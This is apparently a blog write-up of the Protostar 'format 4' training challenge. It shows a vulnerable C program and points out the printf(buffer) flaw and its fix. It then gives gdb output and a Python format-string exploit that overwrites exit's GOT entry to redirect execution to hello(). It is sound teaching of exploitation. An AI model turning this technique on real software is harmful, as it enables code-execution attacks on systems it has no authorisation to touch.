Protostar – format 4

The format 3  challenge from protostar is done ! Let’s move to the format 4 ( https://exploit-exercises.com/protostar/format4/ )

Here is the code source of the binary to exploit:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}
format4.c

The vulnerability is at line 20, it’s a format string vulnerability.

To correct this vulnerability we would have to replace “printf(buffer)” by “printf(“%s”,buffer)”.

To exploit this vulnerability we have to redirect the execution to the hello function by overwriting the exit address from Global Offset Table by the hello’s address.

First, let’s find  how to read at the entered address :

user@protostar:/opt/protostar/bin$ ./format4 
AAAA-%x-%x-%x-%x-%x-%x
AAAA-200-b7fd8420-bffff614-41414141-�2d78252d-252d7825
user@protostar:/opt/protostar/bin$ ./format4 
AAAA-%4$x
AAAA-41414141

 

We have to enter four %x to read the address entered ( here 0x41414141 because the address given is AAAA )

Now let’s get the exit’s address in the GOT  :

(gdb) disassemble vuln 
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:	push   %ebp
0x080484d3 <vuln+1>:	mov    %esp,%ebp
0x080484d5 <vuln+3>:	sub    $0x218,%esp
0x080484db <vuln+9>:	mov    0x8049730,%eax
0x080484e0 <vuln+14>:	mov    %eax,0x8(%esp)
0x080484e4 <vuln+18>:	movl   $0x200,0x4(%esp)
0x080484ec <vuln+26>:	lea    -0x208(%ebp),%eax
0x080484f2 <vuln+32>:	mov    %eax,(%esp)
0x080484f5 <vuln+35>:	call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:	lea    -0x208(%ebp),%eax
0x08048500 <vuln+46>:	mov    %eax,(%esp)
0x08048503 <vuln+49>:	call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:	movl   $0x1,(%esp)
0x0804850f <vuln+61>:	call   0x80483ec <exit@plt>
End of assembler dump.
(gdb) disassemble 0x80483ec
Dump of assembler code for function exit@plt:
0x080483ec <exit@plt+0>:	jmp    *0x8049724
0x080483f2 <exit@plt+6>:	push   $0x30
0x080483f7 <exit@plt+11>:	jmp    0x804837c
End of assembler dump.
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:	0x080483f2
exit's address

So the address to overwrite is 0x8049724 .

Let’s try the following exploit :

#!/usr/bin/python

import struct
TARGET = 0x8049724

def pad(s):
        return s+"X"*(512-len(s))+"\n"

exploit = struct.pack("I",TARGET)
exploit += struct.pack("I",TARGET+2)
exploit += "%4$x"
exploit += "%4$n" 
exploit += "%5$x"
exploit += "%5$n"


print(pad(exploit))
(gdb) run < /tmp/file 
Starting program: /opt/protostar/bin/format4 < /tmp/file

Breakpoint 1, 0x0804850f in vuln () at format4/format4.c:22
22	format4/format4.c: No such file or directory.
	in format4/format4.c
(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:	0x0016000f

It works we have overwrite the address of exit by  0x0016000f .

Let’s gather the hello’s address :

(gdb) p hello 
$1 = {void (void)} 0x80484b4 <hello>

Now we want to change the  0x000f par 0x84b4

0x84b4 -0xf = 33957

on écrit 3395 dans notre exploit, on obtiens 84ae il faut donc ecrire 33964 pou obternir 84b4

we write 3395 in our exploit, we obtain 84ae , so we have to write 33964 to obtain 84b4

(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:	0x84bb84b4

Then we need to write 0804 instead of 84bb, but because 84bb > 0x804 we will write 1084 the 1 will be truncated and the address will be 0x080484b4

0x10804 – 0x84bb = 33609  we obtain 07fd so we have to write :  33609 + (0804-07fd) = 33616

#!/usr/bin/python

import struct
TARGET = 0x8049724

def pad(s):
        return s+"X"*(512-len(s))+"\n"

exploit = struct.pack("I",TARGET)
exploit += struct.pack("I",TARGET+2)
exploit += "%4$33964x"
exploit += "%4$n" 
exploit += "%5$33616x"
exploit += "%5$n"


print(pad(exploit))
exploit_format4.py

we obtain the good address :

(gdb) x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:	0x080484b4

Lets try our exploit out of gdb :

user@protostar:/opt/protostar/bin$ /tmp/exploit_format4.py | ./format4 
$�&�                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       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                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              8049726XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
code execution redirected! you win
Challenge réussi !

The hello function is executed, challenge done !

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